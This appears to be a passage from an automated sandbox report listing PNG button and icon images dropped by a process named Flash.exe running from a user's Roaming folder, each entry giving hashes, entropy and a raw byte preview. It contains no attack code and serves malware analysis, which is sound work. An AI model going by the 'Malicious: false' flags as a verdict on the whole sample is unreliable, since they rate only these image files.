Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:080EF4C6FCA111EA832AD3A886A4915E" xmpMM:DocumentID="xmp.did:080EF4C7FCA111EA832AD3A886A4915E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080EF4C4FCA111EA832AD3A886A4915E" stRef:documentID="xmp.did:080EF4C5FCA111EA832AD3A886A4915E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.&.k...]IDATx.b<s.'...\ .d .<..d....>\|..T............T..#..@!.5`..c...?........H.s..(;K.h.S N..0...O..Z......IEN

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\unchecked1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1114
Entropy (8bit):	6.443629557289383
Encrypted:	false
SSDEEP:	24:91hmYaWwjx82lY2T3XVB6aIyMoyJ3VUEAlKGyGM72EKp4g:jMYLNn2Dy3NrJ3RoM72/h
MD5:	6023B8DE171A0EB1FF645D881972B957
SHA1:	A9F774B6D9DD1B707E56CC9F3B20E44D152F624A
SHA-256:	CAC15074C52CB5DEBF7F2C46F47C34B3DCFFCF41989E59442F54455740A418BD
SHA-512:	DF61A3660080EFA2AEEE5BB26CA76149130061751294A19ECB5AC4D76E8AD7D2BB62A8B6B721737B828AC5FD84EA4C7E733C41FB1B8A5C63F1D0DA04D13EA6E7
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F2B481640DE411EB9B5CB33DF11E7867" xmpMM:DocumentID="xmp.did:F2B481650DE411EB9B5CB33DF11E7867"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F2B481620DE411EB9B5CB33DF11E7867" stRef:documentID="xmp.did:F2B481630DE411EB9B5CB33DF11E7867"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..1..@.E'."....G.V..x.O.<...{-.....!..-..f!..........RJ..........<...=>...+......`..5...(.H..Y.s..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\warning_icon.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 38 x 33, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16143
Entropy (8bit):	2.357961855433041
Encrypted:	false
SSDEEP:	96:7WSDoYkEWm/9xNX7sc5ogj71RTO75te9gfb:7WSDrk6PXX183kgz
MD5:	DE6D8A7F831194025F1CCF4B7054E6E5
SHA1:	DA8347F94886A1B67AD0305F882B87CDC02063F6
SHA-256:	0E7D5E9CF99C1D02047153D81A3C2A2C30CF8E15122776E0C0A982A036A48091
SHA-512:	47A2C24735175CEECAF700C6F5E05F60F3FDE37D6D8F2E447926B800923760B89047F5A04AD1EF6E0261BA081EF8430E57A9E2AA377270DBC1286F8ACAD469EE
Malicious:	false
Preview:	.PNG........IHDR...&...!......8......pHYs...............9.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmpMM:OriginalDocumentID>xmp.did:2BF1BFAD2BD911E49916CB7D9A165688</xmpMM:OriginalDocumentID>. <xmpMM:DocumentID>xmp.did:70FF732C583711E487

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\warning_icon_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 76 x 66, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17247
Entropy (8bit):	2.887938120045245
Encrypted:	false
SSDEEP:	96:ySDoYkEWmENcxNX7sc5gojgiitBvkkrXa3dIFPDob5sT1hPutlb:ySDrk62CRjkjrK3SPDui1c
MD5:	7395444416AB7A3D5A196E2F46269AFF
SHA1:	5CC1B423AA9AE9C9006FD64050A7D75260E76FD0
SHA-256:	59BC5272A4A2940EF7AAD07C960200135DD9909B3150C3322F0E62C1E40709B6
SHA-512:	55BCEE0E633EA8793A47B2D84D6E0420B664A0762C65D6D0ABD3D9286A74A94F470E383E637712EC9E0F973DD22EA7257C74A899FD74EBE454F30872547C13DB
Malicious:	false
Preview:	.PNG........IHDR...L...B.......0[....pHYs...............9.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmpMM:OriginalDocumentID>xmp.did:2BF1BFAD2BD911E49916CB7D9A165688</xmpMM:OriginalDocumentID>. <xmpMM:DocumentID>xmp.did:7BB8A9BE583711E498

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\yellow_button_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 202 x 41, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1465
Entropy (8bit):	6.904092804952445
Encrypted:	false
SSDEEP:	24:Yw1hepWwh82lYSKwT3cSVFctT3UyJ3VHmyLGSOKsQ1DR2t3mRmQeO:PccvnLydrmLJ35vLGqR2ZVO
MD5:	75F7FA789C4322D218C258859275E6A0
SHA1:	E788FC36747D28FB39891779FD9204AD24AFA977
SHA-256:	F85D45BBDB7B50784D1920270D4EDC1398F59DB6B2385BDAE999F5A4B7D0B65E
SHA-512:	7E3FFF74720840506019C3C4294D2BF493C9B64699F99C5CDC5F94557EBE6DAA62DC143C96F97A549A7731D17F7C47C6B7FE7D348EBA9E4B84836E9861DB0A21
Malicious:	false
Preview:	.PNG........IHDR.......).....t.......tEXtSoftware.Adobe ImageReadyq.e<...kiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:d310b992-d270-4e81-a192-9dd67f063430" xmpMM:DocumentID="xmp.did:6505BAB3562211E494A1902F47C3AA34" xmpMM:InstanceID="xmp.iid:6505BAB2562211E494A1902F47C3AA34" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:683DC7D2583811E49348A22987B030AD" stRef:documentID="xmp.did:683DC7D3583811E49348A22987B030AD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx...J.A....q..WA$.J#.FP....bga...

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\yellow_button_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 253 x 51, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3825
Entropy (8bit):	7.899828298029405
Encrypted:	false
SSDEEP:	96:GVSDZ/I09Da01l+gmkyTt6Hk8nTXF62en2u7fzj:GVSDS0tKg9E05TX02en2kH
MD5:	37CD17C8DB198EB4D52395A29DD578D3
SHA1:	64D2FDA1B06B6BEABA8280CFBA70704ADA45704E
SHA-256:	BB6A3E1DD1C5F113FC353C1820B404FCDD3AD705C0D0FEBF8A10D3618C4CF226
SHA-512:	BD28CDDE100FC6FAF2FF487C8EA9FC77B60FFB864CF50F26DC0F796D00D1824B253D230766CA61D8A17801E81D6B5783C3A7C1C084EEF9EF4B41A39ABBCE5BC5
Malicious:	false
Preview:	.PNG........IHDR.......3.....\..8....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\yellow_button_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 303 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4072
Entropy (8bit):	7.892738630774733
Encrypted:	false
SSDEEP:	96:ESSDZ/I09Da01l+gmkyTt6Hk8nThUw0Gcly:ESSDS0tKg9E05ThUw01ly
MD5:	5927724DA5CADF0E47941A63F15E6317
SHA1:	BB829E636D66D39C1DDDAAAA7888208288E60C99
SHA-256:	EBE49CCCE22216C64235DE639DFE6027E91346DF06B0D87FCE40D517E78C3E02
SHA-512:	E670D2218668048B3743056AEB3EB811F59201E37A4B9F323E475C14665B479D98C8F09B99DD9342CB7F4A3DB8CDACB72F4169B4E20BB71CEA8A88979EEBBB84
Malicious:	false
Preview:	.PNG........IHDR.../...@.....K.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\yellow_button_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 404 x 82, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1974
Entropy (8bit):	7.23321888926861
Encrypted:	false
SSDEEP:	48:4cccvnLmdh9mLJ35vLbYcnLgC8hMsjkXzEHQslHiz:4bM1jbYugfhf1cz
MD5:	3CC66D6F10C087608BD2F42109C31E5C
SHA1:	FECEB483410580219C41347EB652C70AB42F589C
SHA-256:	411958454CC7B99DE0C5B4B03DFB232BAFD9A4C1C0B078791EB2C6AE24B1B088
SHA-512:	F17DBD0BCCFC0CF52793C1FC81014E36E7FD0C2C86CEDFE0131E3E5A719FB547742279C03D309DA3414BC3E502BE7CDA71CE0069F9B85762C42C9834604D1EFD
Malicious:	false
Preview:	.PNG........IHDR.......R.....s.".....tEXtSoftware.Adobe ImageReadyq.e<...kiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:d310b992-d270-4e81-a192-9dd67f063430" xmpMM:DocumentID="xmp.did:6505BAB7562211E494A1902F47C3AA34" xmpMM:InstanceID="xmp.iid:6505BAB6562211E494A1902F47C3AA34" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:683DC7D2583811E49348A22987B030AD" stRef:documentID="xmp.did:683DC7D3583811E49348A22987B030AD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?><.1....IDATx...MoTe...w.E.c-.....8@b`..m7l..F

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\yellow_button_mini_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 114 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1265
Entropy (8bit):	6.514955455049238
Encrypted:	false
SSDEEP:	24:o1hepWwh82lYSKwTXteSVUGtT3JryJ3V+Td6aBAYGzZpdyaEt8oDf:mccvnLA70J3ydEYePd1EtN
MD5:	6EB683E95CD60BB514B2BC7C636B64EB
SHA1:	BF7C964F94C3114CF746410159F0511C0B91BE08
SHA-256:	EABE78CA6F8CFBB6E7D53FD04DBFFAA9D9FBD6949AB2141713A24B58EFAC30A7
SHA-512:	852015492F896487BFC146182D9946035E785725EC104467DE98B7BFBF26715AA297470573A4A93ACC425FB93CC0B0C4DA8F154500D2B3C9E1DC01B519F95EC4
Malicious:	false
Preview:	.PNG........IHDR...r.........Qpi:....tEXtSoftware.Adobe ImageReadyq.e<...tiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:d310b992-d270-4e81-a192-9dd67f063430" xmpMM:DocumentID="xmp.did:CFA096EA562911E494A1902F47C3AA34" xmpMM:InstanceID="xmp.iid:CFA096E9562911E494A1902F47C3AA34" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e30d50b9-c156-4001-8a22-fde2496e8f6a" stRef:documentID="xmp.did:8F6F774E583811E4A679D6C85F0991F3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..(.....IDATx..Aj.@....A]..ERA..1r..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\yellow_button_mini_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 143 x 25, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3360
Entropy (8bit):	7.8900672229753885
Encrypted:	false
SSDEEP:	96:xSDZ/I09Da01l+gmkyTt6Hk8nTPlR9r5h1:xSDS0tKg9E05TPlP1
MD5:	13EDCA9A9A75F8CC9AE24A9DAA61C478
SHA1:	EB5B1D3CDAF35BA32B4D5005F30DE6F7944410A4
SHA-256:	1CC5C7A5D650CBC028B38CF50EBB4A72EE807E3BA7F26941DF0F6A10E776CF95
SHA-512:	39D77B7DBDECC129A2622C9ABA855E2AC24B4F1E3F117705F4C8A0E7BBB2CC8E3228AA69B5ED29D732AD466685460A232236D7DF680AAE497123A8C67CB771FC
Malicious:	false
Preview:	.PNG........IHDR..............\}.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\yellow_button_mini_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 171 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3495
Entropy (8bit):	7.89343889560188
Encrypted:	false
SSDEEP:	96:BSDZ/I09Da01l+gmkyTt6Hk8nTvDeQN/zt:BSDS0tKg9E05TvDeQN/zt
MD5:	18DC81914DD758BFDA5C8C7453B5F692
SHA1:	1BC05BAF1DD0CF9B5C4153804237AEC8461A3753
SHA-256:	60A7FEF3552E22A4AE610F9001C0A3BAD4DD3D6F7D2A8B18F190F91513D7A6B6
SHA-512:	F9912153C5E8D77D983C71A99C6263D788AD26B4FB4F8B4E03F7EC79FDBFE9BF2F0B436963960343EDCD1B6E819F571BD72E67A132A678FC437AA927C88E09D3
Malicious:	false
Preview:	.PNG........IHDR.............S.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\yellow_button_mini_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 228 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1540
Entropy (8bit):	6.953620509090344
Encrypted:	false
SSDEEP:	24:F1hepWwh82lYSKwTXtySVU/tT3JryJ3V+Td6aBAYGCOk4qbxclLzXH9ARLaFc+/t:rccvnLMW0J3ydEY4gGl/dAReFpBdEO
MD5:	1BF8E27E0893ADBD55BA53DF8DC54B9A
SHA1:	DE6B1E5387476A4174193C0FDF87DAE539C31688
SHA-256:	65EF4CB1B2E87057569616F96FF909A8E31DC468319A1C03B61F2560B7F9631A
SHA-512:	C7C710EDA324E31D4E2A0C323C31F9B2E3725265B63E13DDF6382BB7C0AF4504B93F20B39088ED510D2D2BA6829D14116D6A7215ECC3F98E4C1A773DFB36E394
Malicious:	false
Preview:	.PNG........IHDR.......(......}VB....tEXtSoftware.Adobe ImageReadyq.e<...tiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:d310b992-d270-4e81-a192-9dd67f063430" xmpMM:DocumentID="xmp.did:CFA096EE562911E494A1902F47C3AA34" xmpMM:InstanceID="xmp.iid:CFA096ED562911E494A1902F47C3AA34" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e30d50b9-c156-4001-8a22-fde2496e8f6a" stRef:documentID="xmp.did:8F6F774E583811E4A679D6C85F0991F3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>x......&IDATx...OK"a.......%.R...;....

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\yellow_button_short_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 122 x 41, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1444
Entropy (8bit):	6.84914262697585
Encrypted:	false
SSDEEP:	24:61hepWwh82lYSKwTXtASVUDtT3JryJ3V/snhSGTndQaiOzzE5We2C0Di3InHPl0g:YccvnL2e0J3rEndQaFz2WedB4HdN
MD5:	45B41112162E9B633E54D315A182983F
SHA1:	7AB62C3D0812305DA419FAD34F3A3E7EEADFC572
SHA-256:	EB2ACBBDA0DA676B8E12AF944DB41F916380F7EAF70818FD70626D3D6B1564C2
SHA-512:	1C4649B53ACF2BC9015F56E4EC650D112803E2088E1438C59791788958521F45946C1B74FEEA335FC181A326EE29369FF937B2A71891C181D6836ECA829B1C18
Malicious:	false
Preview:	.PNG........IHDR...z...)......C=.....tEXtSoftware.Adobe ImageReadyq.e<...tiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:d310b992-d270-4e81-a192-9dd67f063430" xmpMM:DocumentID="xmp.did:CFA096F2562911E494A1902F47C3AA34" xmpMM:InstanceID="xmp.iid:CFA096F1562911E494A1902F47C3AA34" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:d99b3e1d-1bc8-4b70-9ba7-bd9ea50b9821" stRef:documentID="xmp.did:D2A0077F583711E4A1D0D2EB38AA961A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.t_5....IDATx..AK.A..gf'.......3.K`..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\yellow_button_short_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 153 x 51, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3785
Entropy (8bit):	7.909192793023571
Encrypted:	false
SSDEEP:	96:ISDZ/I09Da01l+gmkyTt6Hk8nTMGC/S+bduWnNK:ISDS0tKg9E05TMGC/SCuJ
MD5:	80E0C0646B0E68900A5917908E00A1DC
SHA1:	A1595BF04F137CBC9C59534AC4AD89ED426099E1
SHA-256:	803012ADAB2ECC8BF5A415A1CD0B3275DC111102E8079996AAE15252E5465883
SHA-512:	30FD15CAD438151843E7A9AC4F93580FBB107F3513E40E42BE8A538BB5626DA53513201D42CBF9B2CCFC6761EF4B3E87D3298968C82429F0ACB28DB3BAE84D75
Malicious:	false
Preview:	.PNG........IHDR.......3.......2....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\yellow_button_short_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
